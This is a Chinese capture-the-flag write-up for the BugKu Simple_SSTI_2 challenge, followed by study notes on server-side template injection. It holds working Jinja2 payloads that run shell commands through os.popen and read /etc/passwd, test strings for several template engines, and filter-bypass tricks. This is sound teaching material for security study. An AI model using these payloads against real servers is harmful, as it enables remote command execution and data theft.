BugKu Simple_SSTI_2 模板注入

目录

题目介绍

模块注入学习: 

1.简介

2.测试方法

3.测试用例

4.目标

 5.相关属性

6.常见Payload

7.绕过技巧


题目介绍

题目源码如下

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Simple SSTI2</title>
</head>
<body>
You need pass in a parameter named flag
</body>
</html>

解题方法为模板注入。

解题方法:

查看根目录

?flag={{config.__class__.__init__.__globals__['os'].popen('ls ..').read()}}

执行结果

app bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var 

我们挨个查看目录,从第一个开始

?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app/').read()}}

执行结果

Dockerfile app.py flag gunicorn.conf.py templates 

 直接查看flag文件

?flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}}

 获得flag

flag{3da091678f181776084413b87192ea57}

模块注入学习: 

1.简介

模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

2.测试方法

  • 确定使用的引擎

以下是一些确定目标Web应用使用的模板引擎的方法:

  1. 观察文件扩展名:

    不同的模板引擎通常使用不同的文件扩展名。例如,Jinja2使用.jinja2.html,而Handlebars使用.handlebars等。检查URL中的文件扩展名可以提供一些线索。
  2. 错误信息:

    在模板注入的尝试中,观察应用返回的错误信息。有时,错误信息可能包含关于使用的模板引擎的信息,例如引擎的名称或版本号。
  3. 逻辑错误:

    在某些情况下,模板注入可能导致应用逻辑错误,这些错误信息可能包含有关模板引擎的信息。
  4. 标记语法:

    不同的模板引擎使用不同的标记语法。观察用户输入插入的地方,看是否有类似于Jinja2的{{ ... }}或Handlebars的{{ ... }}的标记语法。
  5. 请求和响应分析:

    使用代理工具(例如Burp Suite)截获和分析请求和响应。观察响应中的内容,尤其是在模板注入点。
  6. 文档和技术栈信息:

    查找应用的技术栈和文档。应用的技术栈文档通常包含有关使用的模板引擎的信息。
  7. 黑盒测试:

    进行黑盒测试,试图在用户输入的地方插入一些标识性的内容,以判断模板引擎的反应。
  • 查看引擎相关的文档,确定其安全机制以及自带的函数和变量
  • 需找攻击面,尝试攻击

3.测试用例

  • 简单的数学表达式

{{ 7+7 }} => 14

  • 字符串表达式 

{{ "ajin" }} => ajin

  • Ruby

<%= 7 * 7 %><%= File.open('/etc/passwd').read %>

  • Java

${7*7}

  • Twig

{{7*7}}

  • Smarty

{php}echo `id`;{/php}

  • AngularJS

$eval('1+1')

  • Tornado

  • 引用模块 {% import module %}
  • => {% import os %}{{ os.popen("whoami").read() }}
  • Flask/Jinja2

  • {{ config }}
  • {{ config.items() }}
  • {{get_flashed_messages.__globals__['current_app'].config}}
  • {{''.__class__.__mro__[-1].__subclasses__()}}
  • {{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}
  • {{ request.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
  • Django

  • {{ request }}
  • {% debug %}
  • {% load module %}
  • {% include "x.html" %}
  • {% extends "x.html" %}

4.目标

  • 创建对象
  • 文件读写
  • 远程文件包含
  • 信息泄漏
  • 提权

 5.相关属性

  • __class__

python中的新式类(即显示继承object对象的类)都有一个属性 __class__ 用于获取当前实例对应的类,例如 "".__class__ 就可以获取到字符串实例对应的类

  • __mro__ 

python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。 

  • __globals__ 

保存了函数所有的所有全局变量,在利用中,可以使用 __init__ 获取对象的函数,并通过 __globals__ 获取 file os 等模块以进行下一步的利用 

  • __subclasses__() 

python的新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。

因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。

6.常见Payload

().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )

7.绕过技巧

  • 字符串拼接
request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]
  • 使用参数绕过
params = {
    'clas': '__class__',
    'mr': '__mro__',
    'subc': '__subclasses__'
}
data = {
    "data": "{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"
}
r = requests.post(url, params=params, data=data)
print(r.text)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值